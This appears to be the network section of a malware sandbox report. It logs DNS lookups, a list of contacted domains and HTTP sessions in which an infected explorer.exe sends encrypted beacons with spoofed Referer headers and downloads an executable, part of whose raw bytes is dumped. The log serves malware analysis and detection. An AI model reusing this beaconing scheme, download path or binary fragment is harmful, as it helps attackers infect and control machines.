Jan 14, 2022 04:59:51.239556074 CET	8.8.8.8	192.168.2.3	0x307e	No error (0)	transfer.sh	144.76.136.153	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:54.210815907 CET	8.8.8.8	192.168.2.3	0x3fcd	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:54.374965906 CET	8.8.8.8	192.168.2.3	0x3a36	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:54.852350950 CET	8.8.8.8	192.168.2.3	0x81d	No error (0)	data-host-coin-8.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:56.692734957 CET	8.8.8.8	192.168.2.3	0x762b	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:56.868699074 CET	8.8.8.8	192.168.2.3	0xe43c	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:57.069597006 CET	8.8.8.8	192.168.2.3	0x5ec5	No error (0)	data-host-coin-8.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:58.570993900 CET	8.8.8.8	192.168.2.3	0x3149	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:58.765391111 CET	8.8.8.8	192.168.2.3	0x5336	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:59.245784998 CET	8.8.8.8	192.168.2.3	0x8753	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:59.480294943 CET	8.8.8.8	192.168.2.3	0x71e1	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:59.659004927 CET	8.8.8.8	192.168.2.3	0xad75	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 04:59:59.880700111 CET	8.8.8.8	192.168.2.3	0x7f0f	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 05:00:00.046947002 CET	8.8.8.8	192.168.2.3	0x7d46	No error (0)	data-host-coin-8.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 05:00:04.069551945 CET	8.8.8.8	192.168.2.3	0xca23	No error (0)	host-data-coin-11.com	94.142.143.91	A (IP address)	IN (0x0001)
Jan 14, 2022 05:00:12.806410074 CET	8.8.8.8	192.168.2.3	0xc7e2	No error (0)	cdn.discordapp.com	162.159.135.233	A (IP address)	IN (0x0001)
Jan 14, 2022 05:00:12.806410074 CET	8.8.8.8	192.168.2.3	0xc7e2	No error (0)	cdn.discordapp.com	162.159.134.233	A (IP address)	IN (0x0001)
Jan 14, 2022 05:00:12.806410074 CET	8.8.8.8	192.168.2.3	0xc7e2	No error (0)	cdn.discordapp.com	162.159.133.233	A (IP address)	IN (0x0001)
Jan 14, 2022 05:00:12.806410074 CET	8.8.8.8	192.168.2.3	0xc7e2	No error (0)	cdn.discordapp.com	162.159.130.233	A (IP address)	IN (0x0001)
Jan 14, 2022 05:00:12.806410074 CET	8.8.8.8	192.168.2.3	0xc7e2	No error (0)	cdn.discordapp.com	162.159.129.233	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

185.233.81.115

cdn.discordapp.com

goo.su

transfer.sh

qlxnfuhj.net

host-data-coin-11.com

fggjhikg.com

slshljche.com

fqtuljhoii.net

rmdwdmn.org

hmirsmb.com

njsnp.org

rksnlek.org

data-host-coin-8.com

hxaovqrpb.com

afnhk.org

uyqwcjxbf.org

bncatspln.net

bwonexybi.com

unicupload.top

sworutss.com

drlfnir.com

rvqyadtl.com

irhpoqhlc.net

xpbxi.net

wefker.org

kyelhwx.com

gbuig.org

185.7.214.171:8080

jjjeal.org

kllxbylc.org

iqiollry.net

lxvicbnfu.com

alysw.org

yocfbwydo.net

gempx.org

cnwtvll.org

ecigcmyd.org

qaicqimmrp.org

lwrsn.com

lqdvrak.com

scugxyrh.org

lwwgdj.net

umttqygm.net

dujdgqdl.org

acontkk.net

rwkvcn.org

urrhyr.com

bqqdf.org

dcbwcxee.net

vwrxdxe.org

kijlaf.com

xbgcbdcvsv.org

kvaxa.org

wferj.org

jkhktrj.net

uiswqsy.com

a0621298.xsph.ru

otiidv.com

adiacegte.com

kxdhsiskb.org

wuqrydcob.net

khptceilp.net

teeekh.org

rhggaprrm.com

rrvxdibqv.org

hcsfipgmy.com

ygjqjael.org

ijclu.net

abuneept.org

klaqrtvjum.org

veccr.org

egxhxygmwb.com

qcruxq.net

jurgfiow.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49760	185.233.81.115	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49804	162.159.133.233	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.3	49751	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:58:59.866328955 CET	1118	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rmdwdmn.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 242 Host: host-data-coin-11.com
Jan 14, 2022 04:58:59.866344929 CET	1118	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 9d 66 5d 02 c8 a1 c1 64 10 a8 dd 60 Data Ascii: ?2~236hTkowmFu$f]d`:Huue{B0TkoHn]pnY-?2 P([.('&O(^YOHL.e2>I)y5Y^v71$1*dS\n,:3KrG&
Jan 14, 2022 04:58:59.949268103 CET	1119	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:58:59 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.3	49752	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:00.354100943 CET	1120	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hmirsmb.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 154 Host: host-data-coin-11.com
Jan 14, 2022 04:59:00.354115009 CET	1120	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 9a 66 5d 02 c8 a1 c1 64 41 99 af 04 Data Ascii: ?2~236hTkowmFu$f]dAPo$nKm:<AMri2vp+H.qO<N/'k><02
Jan 14, 2022 04:59:00.435992002 CET	1121	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 64 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3a 4a a6 e8 dd e6 f8 5f f5 4a 88 2d a0 57 53 98 00 e5 a7 2c f8 2f 0d 0a 30 0d 0a 0d 0a Data Ascii: 2dI:82OI:J_J-WS,/0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.3	49754	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:01.734334946 CET	1122	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://njsnp.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 310 Host: host-data-coin-11.com
Jan 14, 2022 04:59:01.734376907 CET	1122	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 9b 66 5d 02 c8 a1 c1 64 0d df cb 12 Data Ascii: ?2~236hTkowmFu$f]d~v]]b*IaS5x\1`n!"7oXPk7ur'4#<CvwX+Sii6~m9tF=g<GT\vhbmbub+jCnfja=P
Jan 14, 2022 04:59:01.814809084 CET	1123	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:01 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.3	49755	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:01.901595116 CET	1124	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rksnlek.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 218 Host: host-data-coin-11.com
Jan 14, 2022 04:59:01.904372931 CET	1124	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 98 66 5d 02 c8 a1 c1 64 29 92 cf 35 Data Ascii: ?2~236hTkowmFu$f]d)5v.<w]_xN( GZi97y} iMW&@?;I!k#(oKFPfel!^B4Vy^%q&j}HI ]UitVSr
Jan 14, 2022 04:59:01.991240025 CET	1124	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:01 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 47 ec aa 8c 70 bc 57 dd 43 de ff 21 81 22 e6 c3 95 50 28 e1 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9GpWC!"P(c0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.3	49756	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:02.346384048 CET	1125	OUT	GET /files/9030_1641816409_7037.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: data-host-coin-8.com
Jan 14, 2022 04:59:02.410214901 CET	1126	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:02 GMT Content-Type: application/x-msdos-program Content-Length: 301056 Connection: close Last-Modified: Mon, 10 Jan 2022 12:06:49 GMT ETag: "49800-5d5392be00934" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 32 74 07 b2 76 15 69 e1 76 15 69 e1 76 15 69 e1 68 47 fc e1 69 15 69 e1 68 47 ea e1 fc 15 69 e1 68 47 ed e1 5b 15 69 e1 51 d3 12 e1 71 15 69 e1 76 15 68 e1 f9 15 69 e1 68 47 e3 e1 77 15 69 e1 68 47 fd e1 77 15 69 e1 68 47 f8 e1 77 15 69 e1 52 69 63 68 76 15 69 e1 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 d4 e8 62 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 1e 01 00 00 f6 03 00 00 00 00 00 9f 2d 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 20 05 00 00 04 00 00 a7 ea 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b0 65 01 00 50 00 00 00 00 00 04 00 b0 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 32 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 59 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c5 1d 01 00 00 10 00 00 00 1e 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 44 3f 00 00 00 30 01 00 00 40 00 00 00 22 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 58 84 02 00 00 70 01 00 00 24 02 00 00 62 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 10 01 00 00 00 04 00 00 12 01 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 56 8d 44 24 08 50 8b f1 e8 d9 11 00 00 c7 06 30 32 41 00 8b c6 5e c2 04 00 c7 01 30 32 41 00 e9 8f 12 00 00 56 8b f1 c7 06 30 32 41 00 e8 81 12 00 00 f6 44 24 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$2tvivivihGiihGihG[iQqivhihGwihGwihGwiRichviPELb_-0@ eP2 Y@0.text `.rdataD?0@"@@.dataXp$b@.rsrc@@VD$P02A^02AV02AD$
Jan 14, 2022 04:59:02.410270929 CET	1128	IN	Data Raw: 08 01 74 07 56 e8 0e 16 00 00 59 8b c6 5e c2 04 00 55 8b ec 51 56 33 f6 83 3d f4 ce 43 00 03 75 0b 56 56 56 56 56 ff 15 44 30 41 00 89 75 fc 8b 45 10 89 45 fc 8b 45 0c 31 45 fc 8b 45 fc 8b 4d 08 89 01 5e c9 c2 0c 00 81 00 03 35 ef c6 c3 55 8b ec Data Ascii: tVY^UQV3=CuVVVVVD0AuEEE1EEM^5ULESXV0W3=CuuWWWd0A0AWWWWW0AAEAEE}Ey7E=CuEPuWWWW0AAEAEE EE
Jan 14, 2022 04:59:02.410309076 CET	1129	IN	Data Raw: 40 00 7c b1 e8 c4 fc ff ff 81 ff 06 0c 00 00 75 05 e8 89 fd ff ff 47 81 ff 35 6b 24 00 7c ea a1 e0 c9 43 00 a3 e8 ce 43 00 ff d0 8b 8c 24 4c 0d 00 00 5f 5e 64 89 0d 00 00 00 00 5b 8b e5 5d c3 83 3d f4 ce 43 00 0c 75 42 56 33 f6 56 56 56 ff 15 88 Data Ascii: @\|uG5k$\|CC$L_^d[]=CuBV3VVV0AVVVV0AV$WAh0C?V{V_^AC;-CC3jj\|$t(~r"\|$FW8vWjPD$<WY_L$F
Jan 14, 2022 04:59:02.410346985 CET	1131	IN	Data Raw: 83 c4 10 5d c3 8b ff 55 8b ec 83 79 18 10 8b 45 08 89 41 14 72 05 8b 49 04 eb 03 83 c1 04 c6 04 01 00 5d c2 04 00 8b ff 55 8b ec 6a 00 ff 75 08 e8 5b ff ff ff 59 59 5d c2 04 00 8b ff 55 8b ec 51 ff 75 fc ff 75 14 ff 75 10 ff 75 0c ff 75 08 e8 7a Data Ascii: ]UyEArI]Uju[YY]UQuuuuuzUQuuuuuvU}Vt)~r#}FW8vuWjPWY_uFD^]j,AB}uvu%3j[O
Jan 14, 2022 04:59:02.410386086 CET	1132	IN	Data Raw: 75 08 03 fb 57 51 50 e8 f5 fa ff ff 83 c4 10 ff 75 08 8b ce e8 b2 fa ff ff 5f 8b c6 5e 5b 5d c2 0c 00 8b ff 55 8b ec 56 8b f1 6a 00 c7 46 18 0f 00 00 00 e8 93 fa ff ff 6a ff 6a 00 ff 75 08 8b ce e8 44 ff ff ff 8b c6 5e 5d c2 04 00 6a 04 b8 5c 2d Data Ascii: uWQPu_^[]UVjFjjuD^]j\-ANu}WeWN<2AUVuH2A^]UVuT2A^]UEVW3;tG9}uVj^0WWWWW)9}
Jan 14, 2022 04:59:02.410425901 CET	1133	IN	Data Raw: e8 09 00 00 00 8b 45 e4 e8 5b 33 00 00 c3 ff 75 08 e8 20 3e 00 00 59 c3 8b ff 55 8b ec 56 57 8b 7d 08 33 f6 3b fe 75 1b e8 ca 12 00 00 6a 16 5f 56 56 56 56 56 89 38 e8 53 12 00 00 83 c4 14 8b c7 eb 24 68 80 00 00 00 ff 75 10 ff 75 0c e8 01 ff ff Data Ascii: E[3u >YUVW}3;uj_VVVVV8S$huu;t3_^]jh^A2339u;umVVVVV_E<j [PjP=YYu.<P0CYEPVu<P&E<PWC
Jan 14, 2022 04:59:02.410466909 CET	1135	IN	Data Raw: 0f 84 82 00 00 00 83 ec 08 0f ae 5c 24 04 8b 44 24 04 25 80 1f 00 00 3d 80 1f 00 00 75 0f d9 3c 24 66 8b 04 24 66 83 e0 7f 66 83 f8 7f 8d 64 24 08 75 55 e9 99 52 00 00 90 83 3d 00 e4 43 00 00 74 32 83 ec 08 0f ae 5c 24 04 8b 44 24 04 25 80 1f 00 Data Ascii: \$D$%=u<$f$ffd$uUR=Ct2\$D$%=u<$f$ffd$uER$VT$VR<$tPf<$t-CAz=\CVpAV-CAzVu\|$
Jan 14, 2022 04:59:02.410502911 CET	1136	IN	Data Raw: ec 38 53 81 7d 08 23 01 00 00 75 12 b8 36 30 40 00 8b 4d 0c 89 01 33 c0 40 e9 b0 00 00 00 83 65 d8 00 c7 45 dc 62 30 40 00 a1 d8 76 41 00 8d 4d d8 33 c1 89 45 e0 8b 45 18 89 45 e4 8b 45 0c 89 45 e8 8b 45 1c 89 45 ec 8b 45 20 89 45 f0 83 65 f4 00 Data Ascii: 8S}#u60@M3@eEb0@vAM3EEEEEEEE EeeeemdEEdEEEEE(EEEPE0UYYe}td]dEdE[UQSEH3ME@ft
Jan 14, 2022 04:59:02.410542011 CET	1138	IN	Data Raw: 02 8b 45 08 5e 5f c9 c3 90 8d 74 31 fc 8d 7c 39 fc f7 c7 03 00 00 00 75 24 c1 e9 02 83 e2 03 83 f9 08 72 0d fd f3 a5 fc ff 24 95 20 36 40 00 8b ff f7 d9 ff 24 8d d0 35 40 00 8d 49 00 8b c7 ba 03 00 00 00 83 f9 04 72 0c 83 e0 03 2b c8 ff 24 85 24 Data Ascii: E^_t1\|9u$r$ 6@$5@Ir+$$5@$ 6@45@X5@5@F#Gr$ 6@IF#GFGr$ 6@F#GFGFGV$ 6@I5@5@5
Jan 14, 2022 04:59:02.410583019 CET	1139	IN	Data Raw: ff ff ff e9 b2 00 00 00 66 8b 85 5c ff ff ff 66 83 e0 20 75 18 9b df e0 66 83 e0 20 74 0f c7 85 72 ff ff ff 08 00 00 00 e9 8d 00 00 00 d9 ad 5c ff ff ff 9b c3 66 8b 85 36 fd ff ff 66 25 f0 7f 66 0b c0 74 1b 66 3d f0 7f 74 43 eb bb 66 8b 85 36 fd Data Ascii: f\f uf tr\f6f%ftf=tCf6f%f=t0rH3A83As4X3A,r@3A03AvP3AVWlCv8uuz{tu}]r
Jan 14, 2022 04:59:02.467163086 CET	1140	IN	Data Raw: bc fd ff ff 88 95 ef fd ff ff 84 d2 0f 84 1f 0a 00 00 43 83 bd d8 fd ff ff 00 89 9d c4 fd ff ff 0f 8c 0b 0a 00 00 8a c2 2c 20 3c 58 77 11 0f be c2 0f be 80 58 33 41 00 83 e0 0f 33 f6 eb 04 33 f6 33 c0 0f be 84 c1 78 33 41 00 6a 07 c1 f8 04 59 89 Data Ascii: C, <XwX3A333x3AjY;$I@v tJt6t%HHtWK?3$

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.3	49757	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:04.158576965 CET	1439	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hxaovqrpb.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 205 Host: host-data-coin-11.com
Jan 14, 2022 04:59:04.158579111 CET	1439	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 84 de 98 66 5d 02 c9 a1 c1 64 37 bd 89 65 Data Ascii: ?2~236hTkowmFu$f]d7e%\0c8HR,NlNoqBa#'~c=/<w;tS_ O\|V[=C-thBk\~?V{1BsQ?
